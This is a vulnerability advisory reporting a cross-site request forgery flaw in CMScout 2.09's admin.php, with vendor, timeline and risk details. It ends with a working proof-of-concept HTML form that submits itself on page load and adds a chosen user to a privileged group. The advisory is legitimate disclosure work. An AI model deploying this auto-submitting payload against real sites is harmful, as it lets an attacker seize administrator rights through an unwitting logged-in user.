XSRF (CSRF) in CMScout

Vulnerability ID: HTB22719
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_cmscout.html
Product: CMScout
Vendor: CMScout Team ( http://www.cmscout.co.za/ )
Vulnerable Version: 2.09 and probably prior versions
Vendor Notification: 25 November 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=users&amp;subpage=usergroups&amp;subpage=usergroups&amp;action=add&amp;uid=USER_ID&quot; method="post" name="main" >
<input type="hidden" name="gid" value="1">
<input type="hidden" name="utype" value="2">
<input type="hidden" name="action" value="Add">
</form>
<script>
document.main.submit();
</script>